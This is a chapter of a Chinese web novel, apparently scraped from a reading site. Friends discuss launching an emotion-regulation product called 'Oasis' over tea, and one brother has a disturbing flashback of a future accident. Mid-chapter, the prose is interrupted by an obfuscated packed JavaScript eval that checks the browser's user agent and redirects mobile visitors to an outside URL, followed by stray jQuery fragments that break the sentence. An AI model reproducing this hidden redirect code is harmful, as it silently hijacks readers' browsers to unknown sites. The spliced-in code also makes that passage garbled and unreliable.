文趣网 > 都市小说 > 穿成恶毒女配的闺蜜后 > 24. 祝行简的心悸
    【墟之间】。

    茶香弥漫,松烟裹着桂圆的甜,绵绵地浮在半空中。

    钱钱从包里掏出一块折叠白板,啪地一声支在茶桌上。

    白板上已经画好了四象限矩阵,钱钱拔开马克笔帽,在“技术可行性”后面又加了一行字:数据闭环。

    “这部分,”她的笔尖在矩阵上来回划了两道,“言言,你那边ok吗?”

    温言放下手中的茶盏:“没问题。我的主研究方向就是环境参数对实时情绪状态的调节。实验室里已经有几套反复迭代过的模型,心率变异性、皮肤电导这些数据通过可穿戴模型......”

    祝行野托着下巴,目光落在温言的侧脸上。阳光照进来,在她的睫毛上镀了一层薄薄的金色。她说话的时候习惯微微偏过头,认真到连额边的碎发滑下来都顾不上拨。

    祝行野的嘴角勾起来。叽里咕噜说什么呢,好可爱。

    “心率变异性”?听不懂,但他的心率好高,喜欢言言,要变异了。

    “而且,”温言翻开平板,把一张实验设计框架图放大,“这个课题本身就和神经科学方向交叉,后期需要做相关的实验验证......”

    言言好聪明。

    “数据采集层准备了两套方案......”

    言言好厉害。

    真可爱。

    “......具体的验证路径我已经和导师讨论过了,下个月可以出预实验的结果。”

    可爱可爱可爱可爱可爱可爱。

    祝行野的嘴角不受控制地往上翘,他浑然不觉。

    “行。”钱钱认真听着,完全没有注意到身边有人正在疯狂发射爱心泡泡,“言言负责技术白皮书这块。盛氏负责产品落地——昭昭,盛伯母那边对接得怎么样了?”

    盛昭阳比了个“OK”的手势,嘴里的桂花糕还没完全咽下去:“我妈说了,只要方案过会,钱不是问题。”

    钱钱点点头,目光转向祝行野。

    钱钱:?

    此人不能说痴呆,但绝对不清醒,神情很接近某种灵长类动物在求偶期的状态。

    “体验者名单这块祝行野负责吧。”钱钱盯着他,“你应该知道找什么类型的KOL吧?”

    祝行野完全没在听。

    “不知道,”他依旧痴汉笑,“反正我的身材很曼妙。”

    钱钱的马克笔停在半空中。

    盛昭阳的桂花糕卡在喉咙里。

    温言端着茶盏的手顿了一下,她转头看祝行野,确认自己是不是听错了。

    ?

    !!!!

    祝行野的大脑终于追上了嘴巴。

    “你没有事情干吗?”钱钱眼神已经要杀人了。

    “哦,呃——”他猛咳了一声,耳根以肉眼可见的速度烧起来,“我可以当体验者啊!我最近就很焦虑……”

    钱钱直直地看着他。

    祝行野的声音越说越小:“……我知道了。生活分享类、心理健康类、科技体验类。我会好好推进的。”

    钱钱翻了个白眼。

    ——————————

    靠窗的雅座,茶香沉静。

    祝行简收回投向邻桌的目光,端起面前的茶盏。司尘这里的茶总是比别处的好喝,不知道是是茶叶好还是水好,抑或是泡茶的人分寸拿捏得好。

    “是因为远离闹市吗,”他抿了一口茶,茶汤在舌尖铺开一层清而薄的甘甜,“您这儿非常清净。”

    司尘正在分茶,公道杯微微倾斜,茶汤稳稳落入品茗杯。他轻笑,“或许吧。”

    他把品茗杯推到祝行简面前,抬起眼。

    “祝先生最近还会心悸吗?”

    上次在墟之间,祝行简突然手心冒汗,脸色发白,被司尘扶到偏厅歇了好一会儿才缓过来。他说大概是最近压力大,老毛病了,偶尔会心悸。司尘给他换了一杯淡茶,没有多问。

    “最近倒是好多了。”

    司尘点了点头:“是吗。如果还会,我这边倒是有一些安神茶。”

    祝行简嘴角浮起一丝笑意:“那看来,今天要被我顺走一些了。”

    司尘也笑了,重新提起公道杯,将茶汤续入他的盏中。茶香在两个人之间氤氲开来。

    ——————————

    钱钱这边。

    钱钱看着平板思考:“不过言言,实现你所说的特定序列的环境参数,需要复杂昂贵的设备吗?”

    温言把平板上的技术架构图放大,手指划过每一层模块:“硬件部分只需要能精准调控的设备就可以了。我们实验室现在用的那套原型机,核心模块的成本加起来不超过十万。”

    祝行简听了一会儿,这时才开口,语气中带着肯定:“是不错。模型预测哪怕只有部分正确,产品的潜在应用场景也有很多。”

    温言点头,客气地笑:“我们目前拥有的数据集和模型架构,可能是目前最接近可行的。”

    盛昭阳的眼睛亮了,整个人从椅背上弹起来:“这么厉害!那我们不是要开创一番大事业了?”

    钱钱笑着摇了摇头:“前提是走对每一步。现在我们连产品名字都没有。”

    温言的手指在茶盏边缘轻轻摩挲。她看着窗外那棵探向水面的孤松,松枝在风里缓缓晃动,水面上的倒影跟着一起一伏。

    “不如叫‘绿洲’?”她说。

    祝行简瞳孔骤缩,茶盏停在半空中。

    支离破碎的声音与画面几乎是瞬间翻涌上来:尖锐刺耳的警笛声,信号不良的广播嗞啦作响,然后是嘈杂的人声,有人在喊,有人在哭。

    “我们对寰宇的恶劣行径予以谴责!”一个男人的声音,义愤填膺,但又带有一丝得意。

    “当地时间六点五十分......安全事故......”。浓烟,散落一地的金属碎片,变了形的座椅扶手。

    “事故原因尚在调查中......”一个身影被抬上担架,盖着白布。白布下面垂出一只手,指节修长,虎口一颗痣。

    “哥——”祝行野的声音。碎裂,痛苦。

    祝行简猛地闭了一下眼。

    坐在对面的司尘似乎察觉到了什么,抬眼,目光里多了一层不轻不重的探询。

    那些声音与画面霎时涌来霎时褪去,只剩脑中微微的晕眩与混沌

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17509347|202930||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    。祝行简松开攥紧的杯壁,指节泛白的部分缓缓回血,虎口处一颗青黑色的小痣。

    “祝先生?你怎么了。”司尘问。

    ——————————

    另一边讨论的几人丝毫没注意到异常。

    钱钱的笔停住了。盛昭阳歪着头念了一遍:“绿洲……绿洲?”

    “绿洲。”钱钱又念了一遍,“不错。有深度,不浮夸,情绪干涸的时候来,得到补给就走。”

    “听起来就很放松!”盛昭阳一拍桌子,“就这个吧!”

    ——————————

    “……没事。”祝行简的喉咙有些发紧。他端起茶盏抿了一口,茶汤已经凉了,凉意顺着喉咙滑下去,把胸口那份狂跳慢慢压回了原位。他垂下眼眸,目光扫过司尘手中拿着的那本书:《史记》,书页泛黄,边角被翻得起毛。

    祝行简随口道:“考古学者似乎都对历史非常感兴趣,是兴趣驱使你们选择考古,还是考古不得不熟悉历史?”

    司尘看着他的脸,没有追问。他低头看手中的古籍,微微点了点头。

    “很有趣。以宏观的视角看历史,会发现有时看似偶然的走向,其实是必然的。一个王朝的覆灭,一场战争的胜负,在发生之前十年、二十年,种子就已经埋下了。”

    “您相信历史决定论?”

    司尘摇了摇头:“不全然是。大多数人的确遵循着历史的惯性行走,但推动历史的极少数人——”

    他放下公道杯,抬起眼,“他们的决断力有时精准得不合常理。在所有人都看不清前路的时候,他们能做出正确的选择,仿佛天命所归,或是......”他顿了顿,“能提前预知未来。”

    祝行简的心跳漏了半拍。

    他面上不显:“可能是基于经验积累形成的直觉判断。”

    “一切诸果,皆从因起。”司尘的语气不紧不慢,“直觉如果强大到能感知‘果’的轮廓,而反过来堆砌‘因’,就超越了经验与计算的范畴。”

    庭院的松枝在风里摇晃了一下,影子掠过窗棂,在两人之间的茶台上落下一道一晃而过的暗影。祝行简没有接话,他低头看着茶汤,汤面映出他自己的眼睛,薄冰下暗流汹涌。

    “那,司教授作何解?”他抬起眼,语气依旧是商人的温和与从容。

    司尘端起自己那杯茶。品茗杯在他指尖转了一下。

    “或许,”他说,“是上天眷顾也说不定。”

    祝行简的心闷鼓似的跳了一下。

    他端起茶盏,抿了一口,将那一瞬间的失态妥帖地掩在杯沿之下。

    邻桌传来盛昭阳叽叽喳喳的声音,她在和钱钱争论“绿洲”的品牌色应该是莫兰迪绿还是更跳一点的薄荷绿。温言在一旁安静地听着,偶尔补一句数据层面的建议。祝行野托着下巴,眼神又开始往不该飘的地方飘。

    上天眷顾?

    他听着弟弟不着调地说“我觉得天蓝色也不错啊”,目光幽深。

    如果那些萦绕他好几年的碎片是“果”的轮廓,那么“因”是什么?“因”在哪里?

    上天......究竟想告诉他什么呢。